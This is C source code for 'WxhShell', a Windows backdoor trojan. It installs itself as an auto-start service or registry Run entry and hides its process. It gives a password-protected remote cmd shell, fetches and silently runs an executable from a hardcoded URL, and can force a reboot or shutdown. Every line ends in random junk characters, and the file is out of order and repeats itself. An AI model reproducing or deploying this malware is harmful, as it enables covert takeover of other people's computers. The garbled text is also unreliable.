    send(wsh,msg_ws_err,strlen(msg_ws_err),0); O:8 u^ TP  
    else { h<)ceD<,  
    closesocket(wsh); ZV:df 6S  
    ExitThread(0); ~"0{<mMcX  
    } .?rs5[th*  
    break; b+q'xnA=>  
    } *^Zt)U1$|  
  // 获取shell P5h*RV>oS  
  case 's': { ?mM:oQH+>  
    CmdShell(wsh); X31%T"  
    closesocket(wsh); R<gAxO%8  
    ExitThread(0); hSxK*.W*3  
    break; Go1xyd:k  
  } [TQYu:e  
  // 退出 9od c :  
  case 'x': { N<@K(? '  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); wh8;:<|  
    CloseIt(wsh); 0 LXu!iix  
    break; OM^`P  
    } H;NAS/OhS  
  // 离开 ?]bx]Y;  
  case 'q': { ZbVn"he  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); )X," NJG  
    closesocket(wsh); "=K3sk  
    WSACleanup(); V~#5^PF{  
    exit(1); =BN<)f^*s  
    break; Z2@e~&L  
        } fd #QCs  
  } xjF>AAM_Px  
  } ~:k r;n2  
@`+\v mfD  
  // 提示信息 ^7ID |uMr  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); shL_{}  
} [qV/&t|O*h  
  } M:(.aEe  
Nt_sV7zzb  
  return; ?/1LueC:  
} 5 (!FQ  
?u&|'ASo  
// shell模块句柄 k%u fgHl!  
int CmdShell(SOCKET sock) S&-F(#CF^  
{ H"A@Q.'  
STARTUPINFO si; w2V:x[  
ZeroMemory(&si,sizeof(si)); $<XQv$YS  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; KztQT9kY  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; cUP1Uolvn  
PROCESS_INFORMATION ProcessInfo; O"|d~VQ  
char cmdline[]="cmd"; .b`8 +  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 7p\&D?  
  return 0; U[Sh){4j  
} <+r~?X_  
p5OoDo  
// 自身启动模式 `Ix`/k}  
int StartFromService(void) K@DFu5  
{ <&`Rf6  
typedef struct &hI!0DixX  
{ ~|, "w90  
  DWORD ExitStatus; 4,W,E4 7  
  DWORD PebBaseAddress; J!RRG~  
  DWORD AffinityMask; }@jJv||  
  DWORD BasePriority; qhG2j;  
  ULONG UniqueProcessId; mJd8?d  
  ULONG InheritedFromUniqueProcessId; "[k>pzl6  
}   PROCESS_BASIC_INFORMATION; yMM2us#*+q  
b@=H$"  
PROCNTQSIP NtQueryInformationProcess; ]8OmYU%6V  
Ake l.&  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; wj0_X;L  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; LjEMs\P\  
+:jv )4^O  
  HANDLE             hProcess; 6Y6t.j0vN.  
  PROCESS_BASIC_INFORMATION pbi; y xT}hMa  
RrH{Y0  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); |H,WFw1%}  
  if(NULL == hInst ) return 0; [>_zV.X  
9bRUN<  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); /*e<r6  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); [-"ZuUG  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); :6%ivS  
IO7gq+  
  if (!NtQueryInformationProcess) return 0; A /c  
/E{tNd^S  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); LkK&<z  
  if(!hProcess) return 0; g,o46`6"  
G#f3 WpD  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; X{i>Q_8>  
hyJ&~i0P{J  
  CloseHandle(hProcess); ToKG;Ff4b  
K0o${%'@7  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 1ljcbD)T;  
if(hProcess==NULL) return 0; _-#o[>2[  
x $[_Hix  
HMODULE hMod; ;.xKVH/@  
char procName[255]; {*g{9`   
unsigned long cbNeeded; dblf , x  
^jb;4nf  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ndT_;==  
 !a\HdQ  
  CloseHandle(hProcess); 3}3b@:<  
Uc ,..  
if(strstr(procName,"services")) return 1; // 以服务启动 a{}#t}  
ps8tr:T^=  
  return 0; // 注册表启动 'r_Fi5[q  
} 7@e}rh?N-|  
;o;ak.dTt  
// 主模块 z0a`*3 -2  
int StartWxhshell(LPSTR lpCmdLine) "Dq^r9  
{ VM&Ref4  
  SOCKET wsl; s S3RK  
BOOL val=TRUE; W?!rqo2SP  
  int port=0; Hi$N"16A5z  
  struct sockaddr_in door; 3m4 sh~  
iFcSz  
  if(wscfg.ws_autoins) Install(); 6@47%%,}  
Wlq3r#  
port=atoi(lpCmdLine); "+`u ]  
"Y5 :{Kj  
if(port<=0) port=wscfg.ws_port; cD!E.2[  
c05-1  
  WSADATA data; u0)9IZxc  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; vr?u=_%Z  
Pk(%=P ,  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   P|lDW|}D@  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); O8v9tGZoh  
  door.sin_family = AF_INET; R47y/HG,  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); S9nn^vsK  
  door.sin_port = htons(port); u#y)+A2&!  
T*C F5S  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Y[>h |@  
closesocket(wsl); -`z%<)!Y  
return 1; >o`+j$j  
} `(P71T  
x;} 25A|  
  if(listen(wsl,2) == INVALID_SOCKET) { _(~ E8g  
closesocket(wsl); UmMu|`  
return 1; { ] 0T  
} pStb j`Eq  
  Wxhshell(wsl); (n2_HePE  
  WSACleanup(); &%)F5PT  
XN?my@_HpM  
return 0; :P%?!'M  
M0)0~#?.D  
} c(b`eUOO  
FjiIB1 T  
// 以NT服务方式启动 s`[V{1m,  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) dWi.V?K4z  
{ L*4= b (3  
DWORD   status = 0; pEN`6*  
  DWORD   specificError = 0xfffffff; t,0}}9%?  
_ /.VXW  
  serviceStatus.dwServiceType     = SERVICE_WIN32; +7 j/.R  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Lc]hwMGR*  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; dN:^RCFzS  
  serviceStatus.dwWin32ExitCode     = 0; %gSmOW2.c^  
  serviceStatus.dwServiceSpecificExitCode = 0; !Z{7X ^  
  serviceStatus.dwCheckPoint       = 0; Vu4LC&q  
  serviceStatus.dwWaitHint       = 0; v^p* l0r6:  
*u,xBC2C  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); k,<7)-  
  if (hServiceStatusHandle==0) return; ]-a/)8  
[TqX"@4NS  
status = GetLastError(); u}_x   
  if (status!=NO_ERROR) C8)s6  
{ ni )G  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; tux`-F  
    serviceStatus.dwCheckPoint       = 0; "A~D(1K  
    serviceStatus.dwWaitHint       = 0; =JP Y{'VO  
    serviceStatus.dwWin32ExitCode     = status; on5\rY<I:@  
    serviceStatus.dwServiceSpecificExitCode = specificError; 1~2+w]-kU  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); P%vouC0W  
    return; Zn Rj}y  
  } @7Ln1v  
>Lo'H}[pF  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; M)wNu  
  serviceStatus.dwCheckPoint       = 0; 9asA-'fZ  
  serviceStatus.dwWaitHint       = 0; (sH4 T>  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 9U3}_  
} E(1G!uu<  
UMFM.GI  
// 处理NT服务事件,比如:启动、停止 a~JZc<ze  
VOID WINAPI NTServiceHandler(DWORD fdwControl) v/$<#2|  
{ U%#Vz-r  
switch(fdwControl) Z?9G2<i  
{ \)aFYDq#\  
case SERVICE_CONTROL_STOP: j':<7n/A  
  serviceStatus.dwWin32ExitCode = 0; Pd `~#!  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; /S^>06{-+  
  serviceStatus.dwCheckPoint   = 0; ^HT vw~]5  
  serviceStatus.dwWaitHint     = 0; ma) + G!  
  { G@T_o4t  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); +~,q"6  
  } )7P>Hj  
  return; JP ;SO  
case SERVICE_CONTROL_PAUSE: b{x/V9&|  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; /Zx"BSu  
  break; SymlirL  
case SERVICE_CONTROL_CONTINUE: *] >R  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; L/GV Qjb  
  break; Z$('MQ|Ur  
case SERVICE_CONTROL_INTERROGATE: YbZ?["S&  
  break; 3Y +;8ld  
}; tF<&R& =  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); YT)1_>*\  
} Su +<mW  
NQiu>Sg  
// 标准应用程序主函数 43,*.1;sz  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) el<[Ng[  
{ +J A\by  
XC}2GHO<  
// 获取操作系统版本 Y q|OX<i`K  
OsIsNt=GetOsVer(); H xc>?  
GetModuleFileName(NULL,ExeFile,MAX_PATH); `m"K_\w=/  
wk^$DM/KJ)  
  // 从命令行安装  ggfCfn  
  if(strpbrk(lpCmdLine,"iI")) Install(); c3<H272\  
heb{i5el  
  // 下载执行文件 !V4(- 8  
if(wscfg.ws_downexe) { vYo~36  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) i`}9VaUG  
  WinExec(wscfg.ws_filenam,SW_HIDE); r9D 68*H  
} *`Ge8?qC  
@|OGxQoC  
if(!OsIsNt) { 'fzJw  
// 如果时win9x,隐藏进程并且设置为注册表启动 zpNt[F?~1  
HideProc(); *kj+6`:CPs  
StartWxhshell(lpCmdLine); l6MBnvi   
} N>sHT =_  
else w-@6qMJ  
  if(StartFromService()) u,`V%J?vW  
  // 以服务方式启动 Aaz:C5dtU  
  StartServiceCtrlDispatcher(DispatchTable); G#E8xA"{/  
else IkGM~3e  
  // 普通方式启动 bpDlFa  
  StartWxhshell(lpCmdLine); 3lS1WA   
;xai JJK{  
return 0; ^0I"  
} fX1Ib$v  
`bLJ wJ7  
9 "M-nH*<  
-&%! 4(Je  
=========================================== +lf`Dd3  
tTt}=hQpgX  
c2Y\bKeN  
e%7#e%1s  
HA&hu /mw_  
s4=EyBI  
" =#{q#COK$  
D_`~$QB`,  
#include <stdio.h> 7o7FW=^  
#include <string.h> 1@~ 1vsJ  
#include <windows.h> qR%as0;  
#include <winsock2.h> YWk+}y}^d  
#include <winsvc.h> Tg=P*HY6  
#include <urlmon.h>  Tx'anP  
4:s,e<Tc4v  
#pragma comment (lib, "Ws2_32.lib") yi-0CHo  
#pragma comment (lib, "urlmon.lib") -BwZ  
{817Svp@  
#define MAX_USER   100 // 最大客户端连接数 T w1&<S  
#define BUF_SOCK   200 // sock buffer wRX#^;O9?>  
#define KEY_BUFF   255 // 输入 buffer 'Awd:Aed5  
DTdqwe6pi  
#define REBOOT     0   // 重启 <J}JYT  
#define SHUTDOWN   1   // 关机 =66'33l2  
"5\6`\/  
#define DEF_PORT   5000 // 监听端口 _@_EQ!=  
X LY>}r  
#define REG_LEN     16   // 注册表键长度 4i"fHVp8  
#define SVC_LEN     80   // NT服务名长度 IfP?+yPa  
G//hZwf0  
// 从dll定义API lxR]Bh+  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); %w/vKB"nO  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); m1sV~"v;  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); sM9utR  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); !_iv~Q zv  
A":cS }Ui  
// wxhshell配置信息 JE eXoGKd  
struct WSCFG { 2LCOB&-Ww  
  int ws_port;         // 监听端口 S++jwP  
  char ws_passstr[REG_LEN]; // 口令 d^5x@E_Td  
  int ws_autoins;       // 安装标记, 1=yes 0=no nM!_C-yX  
  char ws_regname[REG_LEN]; // 注册表键名 $?;)uoAg  
  char ws_svcname[REG_LEN]; // 服务名 L3*HgkQQ  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 d-H03F@N  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 e=[@HVr   
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 hN\Q&F!  
int ws_downexe;       // 下载执行标记, 1=yes 0=no xo!2 GPD.  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Y7')~C`up^  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 `"#hhKG  
F&7^M0x\ O  
}; !2.eJ)G  
-^< t%{d  
// default Wxhshell configuration DX/oHkLD'  
struct WSCFG wscfg={DEF_PORT, srS)"Jt  
    "xuhuanlingzhe", zXId up@  
    1, =8Z-ORW51  
    "Wxhshell", jK{qw  
    "Wxhshell", 5YgT*}L+,  
            "WxhShell Service", ZdT-  
    "Wrsky Windows CmdShell Service", py wc~dWvz  
    "Please Input Your Password: ", @J'tPW<$  
  1, j@/p: fk  
  "http://www.wrsky.com/wxhshell.exe", @E"lN  
  "Wxhshell.exe" /1xBZf rN  
    }; A(n3<(O/{Z  
qsYg%Z  
// 消息定义模块 DyUS^iz~o  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; nJwP|P_  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Qs<L$"L1  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; FA%V>&;`  
char *msg_ws_ext="\n\rExit."; UC.kI&A  
char *msg_ws_end="\n\rQuit."; 4)p ID`  
char *msg_ws_boot="\n\rReboot..."; ,@zw  
char *msg_ws_poff="\n\rShutdown..."; ,}l|_GGj  
char *msg_ws_down="\n\rSave to "; ;Qq7@(2y  
$gCN[%+j  
char *msg_ws_err="\n\rErr!"; *bzqH2h8  
char *msg_ws_ok="\n\rOK!"; qXoq< |  
Io{BO.K*Y  
char ExeFile[MAX_PATH]; !L2!:_  
int nUser = 0; 64Tb,AL_  
HANDLE handles[MAX_USER]; ?gMq:[X N  
int OsIsNt; y-~_W 6\  
Us%g&MWdpb  
SERVICE_STATUS       serviceStatus; uF[~YJ>  
SERVICE_STATUS_HANDLE   hServiceStatusHandle;  +&<k}Mz  
I |"'  
// 函数声明 bR?xz-g%<3  
int Install(void); f @Vd'k<  
int Uninstall(void); 2dDhO  
int DownloadFile(char *sURL, SOCKET wsh); WwxV} ?Cf+  
int Boot(int flag); @c).&7  
void HideProc(void); yqP=6   
int GetOsVer(void); *Xh#W7,<  
int Wxhshell(SOCKET wsl); ! iK{q0  
void TalkWithClient(void *cs); CXTt N9N9  
int CmdShell(SOCKET sock); 6;(b-Dhi  
int StartFromService(void); jI9#OEH_g  
int StartWxhshell(LPSTR lpCmdLine); |fo#pwX  
$Xqc'4YOZ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ;/)$Cm&e  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); _\{/#J;lN  
f6{.Uq%SGp  
// 数据结构和表定义 ;s+3 #Py  
SERVICE_TABLE_ENTRY DispatchTable[] = =>@ X+4Kb  
{ ~Q}!4LH  
{wscfg.ws_svcname, NTServiceMain}, \~  l"  
{NULL, NULL} PO ,zP9  
}; 3r[ s_Y*  
O,#,`2Qc  
// 自我安装 8EBd`kiq  
int Install(void) [I7=]X  
{ (B03f$8}*_  
  char svExeFile[MAX_PATH]; E H|L1g  
  HKEY key; Q /t_% vb  
  strcpy(svExeFile,ExeFile); VH vL:z  
[p]UM;+  
// 如果是win9x系统,修改注册表设为自启动 Q`Rn,kCVy  
if(!OsIsNt) { C u1G8t-  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { B;2#Sa.  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); =,X*40=  
  RegCloseKey(key); MooxT7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { D$E#:[  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); FU;a { irB  
  RegCloseKey(key); 'lOQb)  
  return 0; p$` ^A  
    } ]@}o"Td  
  } t. DnF[  
} &>G8DvfJ9  
else { b1%w+*d<z  
[ u ^/3N  
// 如果是NT以上系统,安装为系统服务 +-|}<mq  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); XD80]@\za  
if (schSCManager!=0) 9Q\RCl_1  
{ F)@zo/u5L  
  SC_HANDLE schService = CreateService *e:2iM)8~  
  ( 4 []!Km  
  schSCManager, A=70UL  
  wscfg.ws_svcname, <&bBE"U4  
  wscfg.ws_svcdisp, (0rcLNk{|  
  SERVICE_ALL_ACCESS, 8G3.bi'q   
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , )}Cf6 m}  
  SERVICE_AUTO_START, yw1Xxwc  
  SERVICE_ERROR_NORMAL, :)h4SD8Y  
  svExeFile, P/Y)Yx_(  
  NULL, ac1(lD  
  NULL, p\Iy)Y2Lf!  
  NULL, \tCK7sBn  
  NULL, RJ{J~-q{  
  NULL yV31OBC:  
  ); _Ih"*~ r/&  
  if (schService!=0) `'gcF });  
  { &%eM  
  CloseServiceHandle(schService); HrT@Df  
  CloseServiceHandle(schSCManager); u`Kc\B Sn  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ft0tRv(s:  
  strcat(svExeFile,wscfg.ws_svcname); 12Fnv/[n'K  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 7uO tdH+  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 6z'0fi|EN  
  RegCloseKey(key); 77j"zr7v  
  return 0; ?v'CuWS  
    } 735l&(3A\  
  } %4BQY>O)@  
  CloseServiceHandle(schSCManager); w{]B)>! 1W  
} L x iN9  
} "W_E!FP]r  
J?tnS6V  
return 1; 6="o&!  
} \x5>H:\Y  
ZT`" {#L  
// 自我卸载 MJa` 4[/  
int Uninstall(void) "#iO{uMWb  
{ TJB4N$-}A  
  HKEY key; e-.(O8  
1f?Fuw  
if(!OsIsNt) { uzLm TmM+  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { jaMpi^C  
  RegDeleteValue(key,wscfg.ws_regname); m~&>+q ^7  
  RegCloseKey(key); ` M-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { M. _5mZ{  
  RegDeleteValue(key,wscfg.ws_regname); llCE}Vdh  
  RegCloseKey(key); (&, E}{p9  
  return 0; x}x)h3e  
  } R@`xS<`L/  
} % 3fpIzm  
} c;=St1eoz  
else { 0 t/mLw&  
!"aGo1 $$  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); T8x/&g''  
if (schSCManager!=0) 0rif,{"  
{ > :0N)Pj  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); auM1k]  
  if (schService!=0) 7 Rc/<,X  
  { ?q0a^c?A^  
  if(DeleteService(schService)!=0) { uwt29  
  CloseServiceHandle(schService); tA9Ew{3s  
  CloseServiceHandle(schSCManager); FRQkD%k  
  return 0; .mOm@<Xdg  
  } Oo ^ AE  
  CloseServiceHandle(schService); !A14\  
  } - 8jlh  
  CloseServiceHandle(schSCManager); VRHS 4  
} x_l8&RIB*  
} nppSrj?  
Svs&?B\}{6  
return 1; er>{#8 P  
} .I>CL4_  
#;m^DX QZn  
// 从指定url下载文件 $lJ!f  
int DownloadFile(char *sURL, SOCKET wsh) b0tbS[j  
{ YYvX@f  
  HRESULT hr; CM `Q((  
char seps[]= "/"; +.$:ZzH#  
char *token; 2Ns<lh   
char *file; 9>_VU"T  
char myURL[MAX_PATH]; ,3)JZM  
char myFILE[MAX_PATH]; r 2{7h>  
@#9xSs#  
strcpy(myURL,sURL); tao9icl*`  
  token=strtok(myURL,seps); :MH=6  
  while(token!=NULL) /N@NT/.M<  
  { 7mb5z/N  
    file=token; m 7+=w>o  
  token=strtok(NULL,seps); <&4~Z! O  
  } 3[~LmA  
_sHeB7K  
GetCurrentDirectory(MAX_PATH,myFILE); dp3TJZ+U  
strcat(myFILE, "\\"); n9 Jev_!A  
strcat(myFILE, file); G)""^YB-  
  send(wsh,myFILE,strlen(myFILE),0); ~\%H0.P6  
send(wsh,"...",3,0); IY?o \vC  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); bf\ Uq<&IJ  
  if(hr==S_OK) !'>#!S~h3  
return 0; "{jVsih0  
else `"$9L[>  
return 1; A~L Ti  
6\)u\m`7-l  
} LD,T$"  
E,4*a5Fi  
// 系统电源模块 }E)t,T>  
int Boot(int flag) s2nZW pIy  
{ eE{ 2{C  
  HANDLE hToken; Y2+YmP*z`  
  TOKEN_PRIVILEGES tkp; va.Ve# N  
)P.,h&h/  
  if(OsIsNt) { [c99m:*+  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); sr:hR Q27  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); \ow(4O#  
    tkp.PrivilegeCount = 1; q?f-h<yRQ  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; -BsZw. 7P  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Mv7tK l  
if(flag==REBOOT) {  ~"h V-3U  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) O:dUzZR['  
  return 0; 7[}WvfN8#  
} zaE!=-U  
else { *mN8Qd  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ;47=x1j i  
  return 0; "&mwrjn"T  
} HZ\=NDz  
  } +H!aE}  
  else {  GU xhn  
if(flag==REBOOT) { I#zL-RXT  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) YDEb MEMd/  
  return 0; *#'&a(h B!  
} >SD?MW 1E  
else { v\XO?UEJ2  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Xd&oERJj  
  return 0; K%/g!t)  
} Ge76/T%{Q  
} "(:8 $Fb  
wee5Nirw6  
return 1; b/=>'2f  
} ?;go5f+X  
h0VeXUM;.  
// win9x进程隐藏模块 sWgzHj(c  
void HideProc(void) 1mx;b)4t  
{ @9MrTP  
EFs\zWF  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); a & 6-QVk  
  if ( hKernel != NULL ) I>>X-}  
  { dp:5iuS  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); az Oib=3fz  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 'EkjySZ]F{  
    FreeLibrary(hKernel); X|60W  
  } <|:$_&(  
`iwGPG!  
return; cty  
} dwm>! h  
` h1>rP  
// 获取操作系统版本 =&vRT;6  
int GetOsVer(void) @Lm(bW  
{ Uz7V2r%]  
  OSVERSIONINFO winfo; #YLI"/Kn  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); x}N1Wl=8g  
  GetVersionEx(&winfo); & )EL%o5  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) a+n?y)u  
  return 1; [g: KFbEY  
  else PMiG:bM  
  return 0; sAP  YQ  
} Ak2Vf0Eb  
?&.Eg^a"  
// 客户端句柄模块 46c0;E\9  
int Wxhshell(SOCKET wsl) (m=F  
{ w{Y:p[}  
  SOCKET wsh; 0a)LZp|  
  struct sockaddr_in client; DZ5h<1  
  DWORD myID; vslN([@JR  
4&E &{<;  
  while(nUser<MAX_USER) @]%c UjQ  
{ =,LhMy  
  int nSize=sizeof(client); `Zz;[<*<  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); :D=y<n;S+  
  if(wsh==INVALID_SOCKET) return 1; H=_k|#/  
Bj\oo+L/  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); /f,*|  
if(handles[nUser]==0) qBWt(jY  
  closesocket(wsh); b#_u.vP  
else +*$@ K'VL  
  nUser++; rcjj( C  
  } `,FvYA"  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 4i Z7BD  
h)yAg e  
  return 0; j}$Q`7-wB1  
} &0euNHH;sL  
i>@"&  
// 关闭 socket @!Q\| <  
void CloseIt(SOCKET wsh) ZN(@M@}  
{ I~7eu&QZ  
closesocket(wsh); B_|jDH#RyJ  
nUser--; x^6sjfAW  
ExitThread(0); \jByJCN  
} dn= g!=  
62J -)~_  
// 客户端请求句柄 BO-=X 78f@  
void TalkWithClient(void *cs) /;r k-I  
{ J(x42Q}*S  
7Ust7%  
  SOCKET wsh=(SOCKET)cs; Q 1e hW  
  char pwd[SVC_LEN]; Kj*:G!r0.:  
  char cmd[KEY_BUFF]; 8 @4)p.{5I  
char chr[1]; +8q]O%B   
int i,j; [d,")Ng  
<*74t%AJ%  
  while (nUser < MAX_USER) { -$_h]x* W  
WiclG8l  
if(wscfg.ws_passstr) { 8{J{)gF  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); G+f@m,  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); VtC1TZ3-7  
  //ZeroMemory(pwd,KEY_BUFF); ;/.XAxkFL  
      i=0; Q::6|B,G  
  while(i<SVC_LEN) { 0%<x>O  
%$I@7Es>  
  // 设置超时 {afR?3GK  
  fd_set FdRead; Qxh 1I?h  
  struct timeval TimeOut; =lqGt.x  
  FD_ZERO(&FdRead); j`kw2(  
  FD_SET(wsh,&FdRead); X{b qG]j  
  TimeOut.tv_sec=8; uE{nnNZy  
  TimeOut.tv_usec=0; vOYG&)Jm  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); B*j AD2  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 2x&mJ}o#k  
vFGFFA/K}N  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !&OybjQ  
  pwd=chr[0]; Z'L}x6  
  if(chr[0]==0xd || chr[0]==0xa) { Y;WHjW(K  
  pwd=0; y%x2  
  break; ^3  '7  
  } 4zM$I  
  i++; $^4URH  
    } C@L8,Kj ~.  
GT} =(sD L  
  // 如果是非法用户,关闭 socket }J&[Uc  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); N!&$fhY)  
} []rg'9B2b  
<UcbBcW,  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 4RV5:&ALLS  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); o Z#4<7K  
!mLY W  
while(1) { 5>'1[e45  
}2eP~3  
  ZeroMemory(cmd,KEY_BUFF); J 4EG  
+iYy^oXxw  
      // 自动支持客户端 telnet标准   7+vyN^XJ"5  
  j=0; {qHf%y&[  
  while(j<KEY_BUFF) { &jHnM^nQ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]Kb3'je  
  cmd[j]=chr[0]; A!Ls<D.  
  if(chr[0]==0xa || chr[0]==0xd) { ^q0Ox&X  
  cmd[j]=0; [LJ1wBMw  
  break; T};fy+iq  
  } E#=slj @  
  j++; r!vSYgee  
    } `kd P)lI `  
7TjK;w7xS.  
  // 下载文件 7#BpGQJQ  
  if(strstr(cmd,"http://")) { hw [G  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); "`AIU}[_I  
  if(DownloadFile(cmd,wsh)) UlN+  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); D20n'>ddg  
  else E|jbbCZy2  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); jJF(*D  
  } /M;A)z  
  else { MR@*09zP(?  
{-( B  
    switch(cmd[0]) { =gb.%a{R  
  Ol9'ZB|R  
  // 帮助 wtDy-H n  
  case '?': { C1@6 r%YD  
